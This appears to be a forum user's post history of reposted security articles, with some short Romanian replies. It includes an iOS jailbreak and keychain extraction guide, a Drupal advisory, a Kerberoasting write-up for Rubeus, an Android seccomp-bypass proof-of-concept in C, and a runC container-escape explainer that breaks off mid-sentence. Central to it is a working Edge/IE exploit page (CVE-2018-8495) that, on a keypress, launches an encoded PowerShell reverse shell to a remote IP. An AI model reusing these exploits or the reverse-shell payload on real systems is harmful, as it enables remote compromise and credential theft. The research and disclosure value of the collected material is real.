-
Posts
18785 -
Joined
-
Last visited
-
Days Won
738
Everything posted by Nytro
-
Physical Extraction and File System Imaging of iOS 12 Devices February 21st, 2019 by Oleg Afonin The new generation of jailbreaks has arrived for iPhones and iPads running iOS 12. Rootless jailbreaks offer experts the same low-level access to the file system as classic jailbreaks – but without their drawbacks. We’ve been closely watching the development of rootless jailbreaks, and developed full physical acquisition support (including keychain decryption) for Apple devices running iOS 12.0 through 12.1.2. Learn how to install a rootless jailbreak and how to perform physical extraction with Elcomsoft iOS Forensic Toolkit. Jailbreaking and File System Extraction We’ve published numerous articles on iOS jailbreaks and their connection to physical acquisition. Elcomsoft iOS Forensic Toolkit relies on public jailbreaks to gain access to the device’s file system, circumvent iOS security measures and access device secrets allowing us to decrypt the entire content of the keychain including keychain items protected with the highest protection class. If you’re interested in jailbreaking, read our article on using iOS 11.2-11.3.1 Electra jailbreak for iPhone physical acquisition. The Rootless Jailbreak While iOS Forensic Toolkit does not rely public jailbreaks to circumvent the many security layers in iOS, it does not need or use those parts of it that jailbreak developers spend most of their efforts on. A classic jailbreak takes many steps that are needed to allow running third-party software and installing the Cydia store that are not required for physical extraction. Classic jailbreaks also remount the file system to gain access to the root of the file system, which again is not necessary for physical acquisition. For iOS 12 devices, the Toolkit makes use of a different class of jailbreaks: the rootless jailbreak. Rootless jailbreak has significantly smaller footprint compared to traditional jailbreaks since it does not use or bundle the Cydia store. Unlike traditional jailbreaks, a rootless jailbreak does not remount the file system. Most importantly, a rootless jailbreak does not alter the content of the system partition, which makes it possible for the expert to remove the jailbreak after the acquisition without requiring a system restore to return the system partition to its original unmodified state. All this makes using rootless jailbreaks a significantly more forensically sound procedure compared to using classic jailbreaks. Note: Physical acquisition of iOS 11 devices makes use of a classic (not rootless) jailbreak. More information: physical acquisition of iOS 11.4 and 11.4.1 Steps to Install rootlessJB If you read our previous articles on jailbreaking and physical acquisition, you’ve become accustomed to the process of installing a jailbreak with Cydia Impactor. However, at this time there is no ready-made IPA file to install a rootless jailbreak in this manner. Instead, you can either compile the IPA from the source code (https://github.com/jakeajames/rootlessJB3) or follow the much simpler procedure of sideloading the jailbreak from a Web site. To install rootlessJB, perform the following steps. Note: rootlessJB currently supports iPhone 6s, SE, 7, 7 Plus, 8, 8 Plus, iPhone X. Support for iPhone 5s and 6 has been added but still unstable. Support for iPhone Xr, Xs and Xs Max is expected and is in development. On the iOS device you’re about to jailbreak open ignition.fun in Safari. Select rootlessJB by Jake James. Click Get. The jailbreak IPA will be sideloaded to your device. Open the Settings app and trust the newly installed Enterprise or Developer certificate. Note: a passcode (if configured) is required to trust the certificate. Tap rootlessJB to launch the app. Leave iSuperSU and Tweaks options unchecked and tap the “Jailbreak” button. You now have unrestricted access to the file system. Imaging the File System In order to extract data from an Apple device running iOS 12, you will need iOS Forensic Toolkit 5.0 or newer. You must install a jailbreak prior to extraction. Launch iOS Forensic Toolkit by invoking the “Toolkit-JB” command. Connect the iPhone to the computer using the Lightning cable. If you are able to unlock the iPhone, pair the device by confirming the “Trust this computer?” prompt and entering device passcode. If you cannot perform the pairing, you will be unable to perform physical acquisition. You will be prompted to specify the SSH port number. By default, the port number 22 can be specified by simply pressing Enter. From the main window, enter the “D” (DISABLE LOCK) command. This is required in order to access protected parts of the file system. From the main window, enter the “F” (FILE SYSTEM) command. You will be prompted to enter the root password. By default, the root password is ‘alpine’. You may need to enter the password several times. The file system image will be dumped as a single TAR archive. Wait while the file system is being extracted. This can be a lengthy process. When the process is finished, disconnect the device and proceed to analyzing the data. Decrypting the Keychain Physical acquisition is the only method that allows decrypting all keychain items regardless of their protection class. In order to extract (and decrypt) the keychain, perform the following steps (assuming that you have successfully paired and jailbroken the device). Launch iOS Forensic Toolkit by invoking the “Toolkit-JB” command. Connect the iPhone to the computer and specify the SSH port number (as described above). You will be prompted to enter the root password. By default, the root password is ‘alpine’. You may need to enter the password several times. From the main window, enter the “D” (DISABLE LOCK) command. This is required in order to access protected parts of the file system. Now enter the “K” (KEYCHAIN) command. You will be prompted for a path to save the keychain XML file. Specify iOS version (obviously, the second option). Enter ‘alpine’ when prompted for a password. The content of the keychain will be extracted and decrypted. When the process is finished, disconnect the device and proceed to analyzing the data. Note: if you see an error message asking to unlock the device, unlock the iPhone and make sure to use the “D” command to disable screen lock. Analyzing the Data You can use Elcomsoft Phone Viewer to analyze the TAR file. In order to view the content of the keychain, you’ll need Elcomsoft Phone Breaker. Sursa: https://blog.elcomsoft.com/2019/02/physical-extraction-and-file-system-imaging-of-ios-12-devices/
-
Este o intrebare buna si este dificil de raspuns. Depinde de multe lucruri: 1. Cel fel de termeni si conditii au 2. Legislatia care se aplica 3. Tara in care se afla serverul pe care va aparea tema de Wordpress 4. Cum reactioneaza partile implicate ...
-
Salut. Alfa. Dar nu stiu de unde sa iei.
-
Another Critical Flaw in Drupal Discovered — Update Your Site ASAP! February 21, 2019 Wang Wei Developers of Drupal—a popular open-source content management system software that powers millions of websites—have released the latest version of their software to patch a critical vulnerability that could allow remote attackers to hack your site. The update came two days after the Drupal security team released an advance security notification of the upcoming patches, giving websites administrators early heads-up to fix their websites before hackers abuse the loophole. The vulnerability in question is a critical remote code execution (RCE) flaw in Drupal Core that could "lead to arbitrary PHP code execution in some cases," the Drupal security team said. While the Drupal team hasn't released any technical details of the vulnerability (CVE-2019-6340), it mentioned that the flaw resides due to the fact that some field types do not properly sanitize data from non-form sources and affects Drupal 7 and 8 Core. It should also be noted that your Drupal-based website is only affected if the RESTful Web Services (rest) module is enabled and allows PATCH or POST requests, or it has another web services module enabled. If you can't immediately install the latest update, then you can mitigate the vulnerability by simply disabling all web services modules, or configuring your web server(s) to not allow PUT/PATCH/POST requests to web services resources. "Note that web services resources may be available on multiple paths depending on the configuration of your server(s)," Drupal warns in its security advisory published Wednesday. "For Drupal 7, resources are for example typically available via paths (clean URLs) and via arguments to the "q" query argument. For Drupal 8, paths may still function when prefixed with index.php/." However, considering the popularity of Drupal exploits among hackers, you are highly recommended to install the latest update: If you are using Drupal 8.6.x, upgrade your website to Drupal 8.6.10. If you are using Drupal 8.5.x or earlier, upgrade your website to Drupal 8.5.11 Drupal also said that the Drupal 7 Services module itself does not require an update at this moment, but users should still consider applying other contributed updates associated with the latest advisory if "Services" is in use. Drupal has credited Samuel Mortenson of its security team to discover and report the vulnerability. Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. Sursa: https://thehackernews.com/2019/02/hacking-drupal-vulnerability.html?m=1
-
<!doctype html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=10"> <meta http-equiv="Expires" content="0"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Cache" content="no-cache"> </head> <body> <b>Windows Edge/IE 11 - RCE (CVE-2018-8495)</b> </br></br> <!-- adapt payload since this one connectback on an internal IP address (just a private VM nothing else sorry ;) ) --> <a id="q" href='wshfile:test/../../system32/SyncAppvPublishingServer.vbs" test test;powershell -nop -executionpolicy bypass -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADUANgAuADEAIgAsADgAMAApADsAJABzAHQAcgBlAGEAbQAg AD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEA ZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4 AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMA dAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0 AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4A TABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=;"'>Exploit-it now !</a> <script> window.onkeydown=e=>{ window.onkeydown=z={}; q.click() } </script> </body> </html> Sursa: https://github.com/kmkz/exploit/blob/master/CVE-2018-8495.html
- 1 reply
-
- 2
-
-
Kerberoasting Revisited Will Feb 20 Rubeus is a C# Kerberos abuse toolkit that started as a port of @gentilkiwi‘s Kekeo toolset and has continued to evolve since then. For more information on Rubeus, check out the “From Kekeo to Rubeus” release post, the follow up “Rubeus — Now With More Kekeo”, or the recently revamped Rubeus README.md. I’ve made several recent enhancements to Rubeus, which included me heavily revisiting its Kerberoasting implementation. This resulted in some modifications to Rubeus’ Kerberoasting approach(es) as well as an explanation for some previous “weird” behaviors we’ve seen in the field. Since Kerberoasting is such a commonly used technique, I wanted to dive into detail now that we have a better understanding of its nuances. If you’re not familiar with Kerberoasting, there’s a wealth of existing information out there, some of which I cover in the beginning of this post. Much of this post won’t make complete sense if you don’t have a base understanding of how Kerberoasting (or Kerberos) works under the hood, so I highly recommend reading up a bit if you’re not comfortable with the concepts. But here’s a brief summary of the Kerberoasting process: A attacker authenticates to a domain and gets a ticket-granting-ticket (TGT) from the domain controller that’s used for later ticket requests. The attacker uses their TGT to issue a service ticket request (TGS-REQ) for a particular servicePrincipalName (SPN) of the form sname/host, e.g. MSSqlSvc/SQL.domain.com. This SPN should be unique in the domain, and is registered in the servicePrincipalName field of a user or computer account. During this request process, the attacker can specify what Kerberos encryption types they support (RC4_HMAC, AES256_CTS_HMAC_SHA1_96, etc). If the attacker’s TGT is valid, the DC extracts information from the TGT stuffs it into a service ticket. Then the domain controller looks up which account has the requested SPN registered in its servicePrincipalName field. The service ticket is encrypted with the hash of the account with the requested SPN registered, using the highest level encryption key that both the attacker and the service account support. The ticket is sent back to the attacker in a service ticket reply (TGS-REP). The attacker extracts the encrypted service ticket from the TGS-REP. Since the service ticket was encrypted with the hash of the account linked to the requested SPN, the attacker can crack this encrypted blob offline to recover the account’s plaintext password. A note on terminology. The three main encryption key types we’re going to be referring to in this post are RC4_HMAC_MD5 (ARCFOUR-HMAC-MD5, where an account’s NTLM hash functions as the key), AES128_CTS_HMAC_SHA1_96, and AES256_CTS_HMAC_SHA1_96. For conciseness I’m going to refer to these as RC4, AES128, and AES256. Also, all examples here are run from a Windows 10 client, against a Server 2012 domain controller with a 2012 R2 domain functional level. Kerberoasting Approaches Kerberoasting generally takes two general approaches: A standalone implementation of the Kerberos protocol that’s used through a device connected on a network, or via piping the crafted traffic in through a SOCKS proxy. Examples would be Meterpreter or Impacket. This requires credentials for a domain account to perform the roasting, since a TGT needs to be requested for use in the later service ticket requests. Using built-in Windows functionality on a domain-joined host (like the .NET KerberosRequestorSecurityToken class) to request tickets which are then extracted from the current logon session with Mimikatz or Rubeus. Alternatively, a few years ago @machosec realized the GetRequest() method can be used to carve out the service ticket bytes from KerberosRequestorSecurityToken, meaning we can forgo Mimikatz for ticket extraction. Another advantage of this approach is that the existing user’s TGT is used to request the service tickets, meaning we don’t need plaintext credentials or a user’s hash to perform the Kerberoasting. With Kerberoasting, we really want RC4 encrypted service ticket replies, as these are orders of magnitude faster to crack than their AES equivalents. If we implement the protocol on the attacker side, we can choose to indicate we only support RC4 during the service ticket request process, resulting in the easier to crack hash format. On the host side, I used to believe that the KerberosRequestorSecurityToken approach requested RC4 tickets by default as this is typically what is returned, but in fact the “normal” ticket request behavior occurs where all supported ciphers are supported. So why are RC4 hashes usually returned by this approach? Time for a quick detour. msDS-SupportedEncryptionTypes One defensive indicator we’ve talked about in the past is “encryption downgrade activity”. As modern domains (functional level 2008 and above) and computers (Vista/2008+) support using AES keys by default in Kerberos exchanges, the use of RC4 in any Kerberos ticket-granting-ticket (TGT) requests or service ticket requests should be an anomaly. Sean Metcalf has an excellent post titled “Detecting Kerberoasting Activity” that covers how to approach DC events to detect this type of behavior, though as he notes “false positives are likely.” The full answer of why false positives are such a problem with this approach also explains some of the “weird” behavior I’ve seen over the years with Kerberoasting. To illustrate, let’s say we have a user account sqlservice that has MSSQLSvc/SQL.testlab.local registered in its servicePrincipalName (SPN) property. We can request a service ticket for this SPN with powershell -C “Add-Type -AssemblyName System.IdentityModel; $Null=New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList ‘MSSQLSvc/SQL.testlab.local’”. However, the resulting service ticket applied to the current logon session specifies RC4, despite the requesting user’s (harmj0y) TGT using AES256. As stated previously, for a long time I thought the KerberosRequestorSecurityToken approach for some reason specifically requested RC4. However, looking at a Wireshark capture of the TGS-REQ (Kerberos service ticket request) from the client we see that all proper encryption types including AES are specified as supported: The enc-part in the returned TGS-REP (service ticket reply) is properly encrypted with the requesting client’s AES256 key as we would expect. However the enc-part part we care about for Kerberoasting (contained within the returned service ticket) is encrypted with the RC4 key of the sqlservice account, NOT its AES key: So what’s going on? It turns out that this has nothing to do with the KerberosRequestorSecurityToken method. This method requests a service ticket specified by the supplied SPN so it can build an AP-REQ containing the service ticket for SOAP requests, and we can see above that it performs proper “normal” requests and states it supports AES encryption types. This behavior is due to the msDS-SupportedEncryptionTypes domain object property, something that was talked about a bit by Jim Shaver and Mitchell Hennigan in their DerbyCon “Return From The Underworld: The Future Of Red Team Kerberos” talk. This property is a 32-bit unsigned integer defined in [MS-KILE] 2.2.7 that represents a bitfield with the following possible values: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/6cfc7b50-11ed-4b4d-846d-6f08f0812919 According to Microsoft’s [MS-ADA2], “The Key Distribution Center (KDC) uses this information [msDS-SupportedEncryptionTypes] while generating a service ticket for this account.” So even if a domain supports AES encryption (i.e. domain functional 2008 and above) the value of the msDS-SupportedEncryptionTypes field on the account with the requested SPN registered is what determines the encryption level for the service ticket returned in the Kerberoasting process. According to MS-KILE 3.1.1.5 the default value for this field is 0x1C (RC4_HMAC_MD5 | AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96 = 28) for Windows 7+ and Server 2008R2+. This is why service tickets for machines nearly always use AES256, as the highest mutually supported encryption type will be used in a Kerberos ticket exchange. We can confirm this the result of doing a dir \\primary.testlab.local\C$ command followed by Rubeus.exe klist : However, this property is only set by default on computer accounts, not user accounts. If this property is not defined, or is set to 0, [MS-KILE] 3.3.5.7 tells us the default behavior is to use a value of 0x7, meaning RC4 will be used to encrypt the service ticket. So in the previous example for the MSSQLSvc/SQL.testlab.local SPN that’s registered to the user account sqlservice we received a ticket using the RC4 key. If we select “This account supports AES [128/256] bit encryption” in Active Directory Users and Computers, then the msDS-SupportedEncryptionTypes is set to 24, specifying only AES 128/256 encryption should be supported. When I first was looking at this, I assumed that this meant that since the msDS-SupportedEncryptionTypes value was non-null, and the RC4 bit was NOT present, that if you specify only RC4 when requesting a service ticket (via the /tgtdeleg flag here) for an account configured this way the exchange would error out. But guess what? We still get an RC4 (type 23) encrypted ticket that we can crack! A Wireshark capture confirms that RC4 is the only supported etype in the request, and that the ticket enc-part is indeed encrypted with RC4. ¯\_(ツ)_/¯ I’m assuming that this is for failsafe backwards compatibility reasons, and I ran this scenario in multiple test domains with the same result. However someone else I asked to recreate wasn’t able to, so I’m not sure if I’m missing something or if this accurately reflects normal domain behavior. If anyone has any more information on this, or is/isn’t about to recreate, please let me know! Why does the above matter? If true, it implies that there doesn’t seem to be an easy way to disable RC4_HMAC on user accounts. This means that even if you enable AES encryption for user accounts with servicePrincipalName fields set, these accounts are still Kerberoastable with the hacker-friendly RC4 flavor of encryption keys! After a bit of testing, it appears that if you disable RC4 at the domain/domain controller level as described in this post, then requesting a RC4 service ticket for any account will fail with KDC_ERR_ETYPE_NOTSUPP. However, TGT requests will no longer work with RC4 either. As this might cause lots of things to break, definitely try this in a lab environment first before making any changes in production. Sidenote: the msDS-SupportedEncryptionTypes property can also be set for trustedDomain objects that represent domain trusts, but it is also initially undefined. This is why inter-domain trust tickets end up using RC4 by default: However, like with user objects, this behavior can be changed by modifying the properties of the trusted domain object, specifying that the foreign domain supports AES: This sets msDS-SupportedEncryptionTypes on the trusted domain object to a value of 24 (AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96), meaning that AES256 inter-domain trust tickets will be issued by default: Trying to Build a Better Kerberoast Due to the way we tend to execute engagements, we often lean towards abusing host-based functionality versus piping in our own protocol implementation from an attacker server. We often times operate over high-latency command and control, so for complex multi-party exchanges like Kerberos our personal preference has traditionally been the KerberosRequestorSecurityToken approach for Kerberoasting. But as I mentioned in the first section, this method requests that highest supported encryption type when requesting a service ticket. For user accounts that have AES enabled, this default method will return ticket with an encryption type of AES256 (type 18 in the hash): Now, an obvious alternative method for Rubeus’ Kerberoasting would be to allow an existing TGT blob/file to be specified that would then be used in the ticket requests. If we have a real TGT and are implementing the raw TGS-REQ/TGS-REP process and extracting out the proper encrypted parts manually, we can specify whatever encryption type support we want when issuing the service ticket request. So if we have AES-enabled accounts, we can still get an RC4 based ticket to crack offline! This approach is in fact now implemented in Rubeus with the /ticket:<blob/file.kirbi> parameter for the kerberoast command. So what’s the disadvantage here? Well, you need a ticket-granting-ticket to build the raw TGS-REQ service ticket request, so you need to either a) be elevated on a system and extract out another user’s TGT or b) have a user’s hash that you use with the asktgt module to request a new TGT. If you’re curious why a user can’t extract out a usable version of their TGT without elevation, check out the explanation in the “Rubeus — Now With More Kekeo” post. The solution is @gentilkiwi’s Kekeo tgtdeleg trick, that uses the Kerberos GSS-API to request a “fake” delegation for a target SPN that has unconstrained delegation enabled (e.g. cifs/DC.domain.com). This was previously implemented in Rubeus with the tgtdeleg command. This approach allows us to extract a usable TGT for the current user, including the session key. Why don’t we then use this “fake” delegation TGT when performing out TGS-REQs for “vulnerable” SPNs, specifying RC4 as the only encryption algorithm we support? The new kerberost /tgtdeleg option does just that! There have also been times in the field where the default KerberosRequestorSecurityToken Kerberoasting method has just failed- we’re hoping that the /tgtdeleg option may work in some of these situations. If we want to go a bit further and avoid the possible “encryption downgrade” indicator, we can search for accounts that don’t have AES encryption types supported, and then state we support all encryption types in the service ticket request. Since the highest supported encryption type for the results will be RC4, we’ll still get crackable tickets. The kerberoast /rc4opsec command executes the tgtdeleg trick and filters out any of these AES-enabled accounts: If we want the opposite and only want AES enabled accounts, the /aes flag will do the opposite LDAP filter. While we don’t currently have tools to crack tickets that use AES (and even once we do, speeds will be thousands of times slower due to the AES key derivation algorithms), progress is being made. Another advantage of the /tgtdeleg approach for Kerberoasting is that since we’re building and parsing the TGS-REQ/TGS-REP traffic manually, the service tickets won’t be cache on the system we’re roasting from. The default KerberosRequestorSecurityToken method results in a service ticket cached in the current logon session for every SPN we’re roasting. The /tgtdeleg approach results in a single additional cifs/DC.domain.com ticket being added to the current logon session, minimizing a potential host-based indicator (i.e. massive numbers of service tickets in a user’s logon session). As a reference, in the README I built a table comparing the different Rubeus Kerberoasting approaches: As a final note, Kerberoasting should work much better over domain trusts as of this commit. Two foreign trusted domain examples have been added to the kerberoast section of the README. Conclusion Hopefully this cleared up some of the confusion some (like me) may have had surrounding different encryption support in regards to Kerberoasting. I’m also eager for people to try out the new Rubeus roasting options to see how they work in the field. As always, if I made some mistake in this post, let me know and I’ll correct it as soon as I can! Also, if anyone has insight on the RC4-tickets-still-being-issued-for-AES-only-accounts situation, please shoot me an email (will [at] harmj0y.net) or hit me up in the BloodHound Slack. Sursa: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
-
/* The seccomp.2 manpage (http://man7.org/linux/man-pages/man2/seccomp.2.html) documents: Before kernel 4.8, the seccomp check will not be run again after the tracer is notified. (This means that, on older ker‐ nels, seccomp-based sandboxes must not allow use of ptrace(2)—even of other sandboxed processes—without extreme care; ptracers can use this mechanism to escape from the sec‐ comp sandbox.) Multiple existing Android devices with ongoing security support (including Pixel 1 and Pixel 2) ship kernels older than that; therefore, in a context where ptrace works, seccomp policies that don't blacklist ptrace can not be considered to be security boundaries. The zygote applies a seccomp sandbox to system_server and all app processes; this seccomp sandbox permits the use of ptrace: ================ ===== filter 0 (164 instructions) ===== 0001 if arch == AARCH64: [true +2, false +0] [...] 0010 if nr >= 0x00000069: [true +1, false +0] 0012 if nr >= 0x000000b4: [true +17, false +16] -> ret TRAP 0023 ret ALLOW (syscalls: init_module, delete_module, timer_create, timer_gettime, timer_getoverrun, timer_settime, timer_delete, clock_settime, clock_gettime, clock_getres, clock_nanosleep, syslog, ptrace, sched_setparam, sched_setscheduler, sched_getscheduler, sched_getparam, sched_setaffinity, sched_getaffinity, sched_yield, sched_get_priority_max, sched_get_priority_min, sched_rr_get_interval, restart_syscall, kill, tkill, tgkill, sigaltstack, rt_sigsuspend, rt_sigaction, rt_sigprocmask, rt_sigpending, rt_sigtimedwait, rt_sigqueueinfo, rt_sigreturn, setpriority, getpriority, reboot, setregid, setgid, setreuid, setuid, setresuid, getresuid, setresgid, getresgid, setfsuid, setfsgid, times, setpgid, getpgid, getsid, setsid, getgroups, setgroups, uname, sethostname, setdomainname, getrlimit, setrlimit, getrusage, umask, prctl, getcpu, gettimeofday, settimeofday, adjtimex, getpid, getppid, getuid, geteuid, getgid, getegid, gettid, sysinfo) 0011 if nr >= 0x00000068: [true +18, false +17] -> ret TRAP 0023 ret ALLOW (syscalls: nanosleep, getitimer, setitimer) [...] 002a if nr >= 0x00000018: [true +7, false +0] 0032 if nr >= 0x00000021: [true +3, false +0] 0036 if nr >= 0x00000024: [true +1, false +0] 0038 if nr >= 0x00000028: [true +106, false +105] -> ret TRAP 00a2 ret ALLOW (syscalls: sync, kill, rename, mkdir) 0037 if nr >= 0x00000022: [true +107, false +106] -> ret TRAP 00a2 ret ALLOW (syscalls: access) 0033 if nr >= 0x0000001a: [true +1, false +0] 0035 if nr >= 0x0000001b: [true +109, false +108] -> ret TRAP 00a2 ret ALLOW (syscalls: ptrace) 0034 if nr >= 0x00000019: [true +110, false +109] -> ret TRAP 00a2 ret ALLOW (syscalls: getuid) [...] ================ The SELinux policy allows even isolated_app context, which is used for Chrome's renderer sandbox, to use ptrace: ================ # Google Breakpad (crash reporter for Chrome) relies on ptrace # functionality. Without the ability to ptrace, the crash reporter # tool is broken. # b/20150694 # https://code.google.com/p/chromium/issues/detail?id=475270 allow isolated_app self:process ptrace; ================ Chrome applies two extra layers of seccomp sandbox; but these also permit the use of clone and ptrace: ================ ===== filter 1 (194 instructions) ===== 0001 if arch == AARCH64: [true +2, false +0] [...] 0002 if arch != ARM: [true +0, false +60] -> ret TRAP [...] 0074 if nr >= 0x0000007a: [true +1, false +0] 0076 if nr >= 0x0000007b: [true +74, false +73] -> ret TRAP 00c0 ret ALLOW (syscalls: uname) 0075 if nr >= 0x00000079: [true +75, false +74] -> ret TRAP 00c0 ret ALLOW (syscalls: fsync, sigreturn, clone) [...] 004d if nr >= 0x0000001a: [true +1, false +0] 004f if nr >= 0x0000001b: [true +113, false +112] -> ret TRAP 00c0 ret ALLOW (syscalls: ptrace) [...] ===== filter 2 (449 instructions) ===== 0001 if arch != ARM: [true +0, false +1] -> ret TRAP [...] 00b6 if nr < 0x00000019: [true +4, false +0] -> ret ALLOW (syscalls: getuid) 00b7 if nr >= 0x0000001a: [true +3, false +8] -> ret ALLOW (syscalls: ptrace) 01c0 ret TRAP [...] 007f if nr >= 0x00000073: [true +0, false +5] 0080 if nr >= 0x00000076: [true +0, false +2] 0081 if nr < 0x00000079: [true +57, false +0] -> ret ALLOW (syscalls: fsync, sigreturn, clone) [...] ================ Therefore, this not only breaks the app sandbox, but can probably also be used to break part of the isolation of a Chrome renderer process. To test this, build the following file (as an aarch64 binary) and run it from app context (e.g. using connectbot): ================ */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <err.h> #include <signal.h> #include <sys/ptrace.h> #include <errno.h> #include <sys/wait.h> #include <sys/syscall.h> #include <sys/user.h> #include <linux/elf.h> #include <asm/ptrace.h> #include <sys/uio.h> int main(void) { setbuf(stdout, NULL); pid_t child = fork(); if (child == -1) err(1, "fork"); if (child == 0) { pid_t my_pid = getpid(); while (1) { errno = 0; int res = syscall(__NR_gettid, 0, 0); if (res != my_pid) { printf("%d (%s)\n", res, strerror(errno)); } } } sleep(1); if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) err(1, "ptrace attach"); int status; if (waitpid(child, &status, 0) != child) err(1, "wait for child"); if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) err(1, "ptrace syscall entry"); if (waitpid(child, &status, 0) != child) err(1, "wait for child"); int syscallno; struct iovec iov = { .iov_base = &syscallno, .iov_len = sizeof(syscallno) }; if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace getregs"); printf("seeing syscall %d\n", syscallno); if (syscallno != __NR_gettid) errx(1, "not gettid"); syscallno = __NR_swapon; if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace setregs"); if (ptrace(PTRACE_DETACH, child, NULL, NULL)) err(1, "ptrace syscall"); kill(child, SIGCONT); sleep(5); kill(child, SIGKILL); return 0; } /* ================ If the attack works, you'll see "-1 (Operation not permitted)", which indicates that the seccomp filter for swapon() was bypassed and the kernel's capability check was reached. For comparison, the following (a straight syscall to swapon()) fails with SIGSYS: ================ #include <unistd.h> #include <sys/syscall.h> int main(void) { syscall(__NR_swapon, 0, 0); } ================ Attaching screenshot from connectbot. I believe that a sensible fix would be to backport the behavior change that occured in kernel 4.8 to Android's stable branches. */ Sursa: https://www.exploit-db.com/exploits/46434
- 1 reply
-
- 1
-
-
Breaking out of Docker via runC – Explaining CVE-2019-5736 Feb 21, 2019 by Yuval Avrahami Last week (2019-02-11) a new vulnerability in runC was reported by its maintainers, originally found by Adam Iwaniuk and Borys Poplawski. Dubbed CVE-2019-5736, it affects Docker containers running in default settings and can be used by an attacker to gain root-level access on the host. Aleksa Sarai, one of runC’s maintainers, found that the same fundamental flaw exists in LXC. As opposed to Docker though, only privileged LXC containers are vulnerable. Both runC and LXC were patched and new versions were released. The vulnerability gained a lot of traction and numerous technology sites and commercial companies addressed it in dedicated posts. Here at Twistlock, our CTO John Morello wrote an excellent piece with all the relevant details and the mitigations offered by the Twistlock platform. Initially, the official exploit code wasn’t to be released publicly until 2019-02-18, in order to prevent malicious parties from weaponizing it before users have had some time to update. In the following days though, several people decided to release their own exploit code. That led the runC team to eventually release their exploit code earlier (2019-02-13) since – as they put it – “the cat was out of the bag”. This post aims to be a comprehensive technical deep dive into the vulnerability and it’s various exploitation methods. So What Is runC? RunC is a container runtime originally developed as part of Docker and later extracted out as a separate open source tool and library. As a “low level” container runtime, runC is mainly used by “high level” container runtimes (e.g. Docker) to spawn and run containers, although it can be used as a stand-alone tool. “High level” container runtimes like Docker will normally implement functionalities such as image creation and management and will use runC to handle tasks related to running containers – creating a container, attaching a process to an existing container (docker exec) and so on. Procfs To understand the vulnerability, we need to go over some procfs basics. The proc filesystem is a virtual filesystem in Linux that presents information primarily about processes, typically mounted to /proc. It is virtual in a sense that it does not exist on disk. Instead, the kernel creates it in memory. It can be thought of as an interface to system data that the kernel exposes as a filesystem. Each process has its own directory in procfs, at /proc/[pid]: As shown in the image above, /proc/self is a symbolic link to the directory of the currently running process (in this case pid 177). Each process’s directory contains several files and directories with information on the process. For the vulnerability, the relevant ones are: /proc/self/exe – a symbolic link to the executable file the process is running, and ; /proc/self/fd – a directory containing the file descriptors open by the process. For example, by listing the files under /proc/self using ls /proc/self one can see that /proc/self/exe points to the ‘ls’ executable. That makes sense as the one accessing /proc/self is the ‘ls’ process that our shell spawned. The Vulnerability Let’s go over the vulnerability overview given by the runC team: The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. Those two scenarios might seem different, but both require runC to spin up a new process in a container and are implemented similarly. In both cases, runC is tasked with running a user-defined binary in the container. In Docker, this binary is either the image’s entry point when starting a new container, or docker exec’s argument when attaching to an existing container. When this user binary is run, it must already be confined and restricted inside the container, or it can jeopardize the host. In order to accomplish that, runC creates a ‘runC init’ subprocess which places all needed restrictions on itself (such as entering or setting up namespaces) and effectively places 